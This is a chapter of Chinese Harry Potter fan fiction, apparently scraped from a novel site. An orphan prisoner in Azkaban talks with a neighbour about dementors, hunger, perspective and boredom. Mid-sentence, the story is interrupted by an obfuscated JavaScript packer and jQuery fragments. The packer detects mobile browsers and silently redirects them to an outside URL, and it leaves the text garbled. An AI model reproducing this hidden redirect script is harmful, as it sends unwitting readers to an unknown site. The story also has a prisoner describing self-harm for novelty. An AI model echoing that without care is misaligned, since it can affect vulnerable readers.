比饥饿先来的是怪物。


    好心的文豪邻居——帮我念报纸的那个——他先是大叫一声，然后没了声息。他大概可能差不多是活着的，但是我觉得自己像是要死了。


    一双冰冷的手扼住我的喉咙，我伸手去抓，却只在自己的皮肤上留下一道血痕。像是溺水一般，我开始喘不过气，大脑冷得发麻，又被一股热气强行顺着耳朵灌进颅腔。一个巨锤自太阳穴砸下，如洪钟顿起，震得我毫无思考的能力。


    世界上的一切似乎都开始扭曲，我盯着那高到吓人的墙壁与和我巴掌差不多的窗户，心底却泛起疑惑：


    那是什么呢？


    是墙、是砖石，是一种阻隔与惩罚。


    什么又是“墙”？


    我发现自己好像已经无法理解这一浅薄的概念，大脑昏沉——难道、难道阿兹卡班真实的刑罚是把人变成傻子吗？


    一只又一只灰黑色的影子在小小的窗户外显现，我伸出手指，它们的脸大约有我食指手指头那么大。我摸了摸手指，不知道为什么觉得有些可笑，就把手指头又往前伸了些，发现那些影子的脸变大了。


    是我的手指在变小，还是影子在变大？


    或许二者皆有，它们距离我越来越近。


    所以，手指头为什么刚刚会和这些影子一样大？


    冷意爬上我的脊柱，一些不愉快的记忆逐渐变得清晰。我开始感受到饥饿、寒冷以及仇恨。那些灰黑色的恶客挤在我的房间里，我挥舞起手臂，朝它们大喊：“这里已经满员了！”


    可恶，这些到底是什么？吃掉智慧的蠕虫吗？


    我一边思考手指变小之事，一边开始向它们提问：“你们是什么？”


    它们没有回答我，而是在房间里待了一会，就走出去了。隔壁的“文豪”也醒过来，再次大叫。


    “先生！”我隔着墙壁问他，“刚刚那是什么？”


    “摄魂怪。”


    “什么是‘摄魂怪’？”


    对面沉默良久，问我到底读没读过书。


    “读过一点。”我说，“这不是还没学到么？”


    “一种会吃掉快乐的生物。”他回答，“刚刚你是不是觉得十分悲伤？”


    “我饿了。”


    “午餐在摄魂怪进食之后的两个小时才会送进来。”他说。


    “不，”我对他说，“我感到饥饿。难道我也是摄魂怪吗？”


    “不，你是人。”文豪说，“你感受到饥饿是因为你恐惧饥饿。”


    “我还觉得自己变笨了，难道我之前是个聪明人吗？”


    “......”


    文豪没有理会我，他问我要我入狱的报纸。我总觉得他的声音十分熟悉，便给了他。


    “你拿那个东西做什么？”


    “上面有一些填字游戏。”他解释道，“这会让我觉得有些事情可以做。”


    “可是，我又应该怎么给你呢？”


    每一间牢房边缘都被石砖砌起，目的就是阻止犯人互相传递东西。文豪让我把题目念给他。上面有许多单词我不认识，于是，他便让我一个字母一个字母地念。他猜字谜很快，我念完一道题，他就让我不要再念下去了。


    “还有好几题呢。”我说。


    “慢慢来，别着急，孩子。”他说，“如果全部猜完，我们又会陷入无所事事中。”


    一开始我不理解这句话，几天之后，我感受到一股深切的无聊。


    摄魂怪按照规律在每餐之前的两个小时出现，将我们折磨一番后又回到窗户外边。三餐都是又干又硬的黑面包，阿兹卡班不会让犯人饿死，但也绝对不会让我们吃饱。用完餐后就是面壁时光。


    我一开始会用这段时间睡觉，后来却怎么也睡不着，晚上睁着眼睛看头顶那巴掌大的窗户，一个人拨弄脚上的锁链玩。


    这个链子有七截，短倒令我几乎只能跳跃前进或者在地上爬行。昨天起跳过程中踉跄一下，导致我的脸直直砸向墙壁，在上面留下一道深红色的印记。我的鼻子痛得要命，但是我竟然开始享受起这种疼痛，因为这是“规律之外”的东西。


    “喂。”我冲着铁门喊，“文豪先生，我们来聊聊天。”


    “别，祖宗，你不累吗？”


    隔壁牢房传来有气无力的声音，但是过了一会，他又说：“你想聊什么？”


    我就知道，这个人正与我遭受一样的折磨，甚至所承受的痛苦远超过我。我向他提出一开始的那个问题：为什么摄魂怪会变大？


    “因为‘近大远小’，小姐。”他说，“你跑到牢房最里边去看我们栅栏感到缝隙，然后在贴着门去看，是不是贴着门的时候缝隙要更大一点？”


    “这就是‘近大远小’。”


    我似懂非懂地点头，甚至露出在贝拉给我讲题是专用的那副敷衍她的表情。可惜贝拉不在这里了。


    “道理我都懂，但是我的手指为什么会和摄魂怪的脑袋一样大？”


    “......”


    对面发出极重的喘息，文豪说：“因为摄魂怪向你走过来了。”


    “那不应该是摄魂怪变小了吗？”我说，“因为我朝栅栏走过去的时候，栅栏变大了，我变小了呀！”


    “.......”


    “运动是相对的。”他说。


    “我没有动。”我说。


    “够了！够了！你不准说话！”他忽然大叫，“你不准和我说话！”


    唉，又疯了一个。我惋惜地想，这位先生怎么和贝拉一样暴躁呢？想到这里，我又回忆起那些摆在桌角的糖果，舌头也因此动了动，只是我好像回忆不起那些像宝石一样的食物的味道了。


    理智在告诉我它们是甜的，但是“甜”又是什么呢？


    我问文豪。


    文豪对我说——他轻易地原谅了我——他说，他有办法让我感受到这种味道。


    “你下次吃饭的时候，把面包含在嘴里，三分钟后出现的就是‘甜味’。”他顿了顿，似乎在等我抛出下一个问题。


    我捧场道：“为什么呢？”


    “因为人的唾液也可以消化淀粉——面包是淀粉组成的。”


    “淀粉。”我重复这个陌生的单词，“什么是淀粉？”


    “淀粉是一种食物。”他说，“你试了就懂了。”


    我尝试了，回忆起什么是甜味。于是，我很感激文豪，就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264204|180430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问他想要什么报酬。文豪让我不要得意得太早了，因为摄魂怪会在下次到来时再度夺走这种回忆。


    “那我只要在它们走后再次尝试就可以了。”我说完，愣了一下，开始思考，如果品尝“甜味”成为一种规律，那么它还能产生快乐吗？


    “问题就在于此。”文豪像是能读心一般，对我说道，“这就是问题本身：我们被困在这个只能走散步远甚至都不能躺着伸直身体的小房间里。迟早有一天，我们用尽一切产生快乐的办法后，快乐就会抛弃我们，我们陷入日复一日的循环，这种循环是阿兹卡班最后落下来的无形之刀。”


    “你在那里自/残过吗？孩子，伤害自己让你感受到快乐——或者新奇吗？”他的声音变得有些亢奋，“我试过，或者说，我正在此阶段。我已经无法产生快乐了，于是，我让‘新奇’——一种不可预测的东西替代这一情感。”


    “这应该是你的‘上一阶段’。”我指出，“你只有在我进来的前两天撞过墙。你只在晚上做这件事，那会我还会在晚上睡觉呢，你每次都吵醒我！”


    “我现在也在做！”他隔着墙壁朝我嚷嚷，“不然我为什么要陪你聊天？我是什么脾气很好的人吗？”


    “你不是吗？”我十分震惊，“难道你不是怀着崇高的解救文盲的理想来为我答疑解惑的吗？”


    对面陷入沉默，我以为他气晕过去了，过了好一会才小心翼翼地问：“你还好吗？”


    “我不好！”他说，“你现在不准和我说话！”


    “更不准向我提问！”


    行吧。我想，这人大概已经疯了。我可是怀着一副感激之心来拯救他，他却毫不领情，反而将我的陪伴当做和伤口一样的折磨。


    摄魂怪又来了，我直接躺平任由它们夺走方才争吵所创造出来的乐趣。隔壁的文豪也是一样。我思考着下次应该怎么逗弄他。我发现，摄魂怪并不能夺走我的智慧，它们只是一种会将人拽入悲伤的泥潭的怪物。


    不过，就像我庆幸自己是孤儿因此免于审判的羞辱一样，我也庆幸我没过上过几天的好日子。以至于这帮坏东西竟然将我还是婴儿时期的记忆都翻出来咀嚼。


    那会我还小呢，在摇篮里大声哭嚎。我的母亲——我已经忘记她长什么样了，只能记得她的手是温热的——她抱着我，将我圈起来。那也是一个狭窄的空间，温热、干燥，令人回忆起来就想落泪。


    我为什么现在在想这些呢？是摄魂怪在作祟吗？


    不，是我——我幻想出了一个母亲——一个拥抱我的母亲。她如牢房囚禁我一般拥抱着我，在她怀中，我哭声渐歇。


    那是一个完美的房间，一个完美的摇篮。唔，房间里的一面墙刷成浅粉色，墙壁上贴着嫩黄色的星星。摇篮由胡挑木打造，被褥又软又舒适。


    我将脸贴在稻草上，迷迷糊糊地想，阿兹卡班也像一位母亲一样拥抱着我。


    我开始爱上这里——狭小的空间、定时出现的粮食、同胞兄弟的泣声——只有在偶尔的间歇，我将信将疑地观察摇篮那高高的四周——它们为何如此冰冷？


    “唉，又疯了一个。”我的兄弟在另一个摇篮里说，“喂，你还能说话吗？”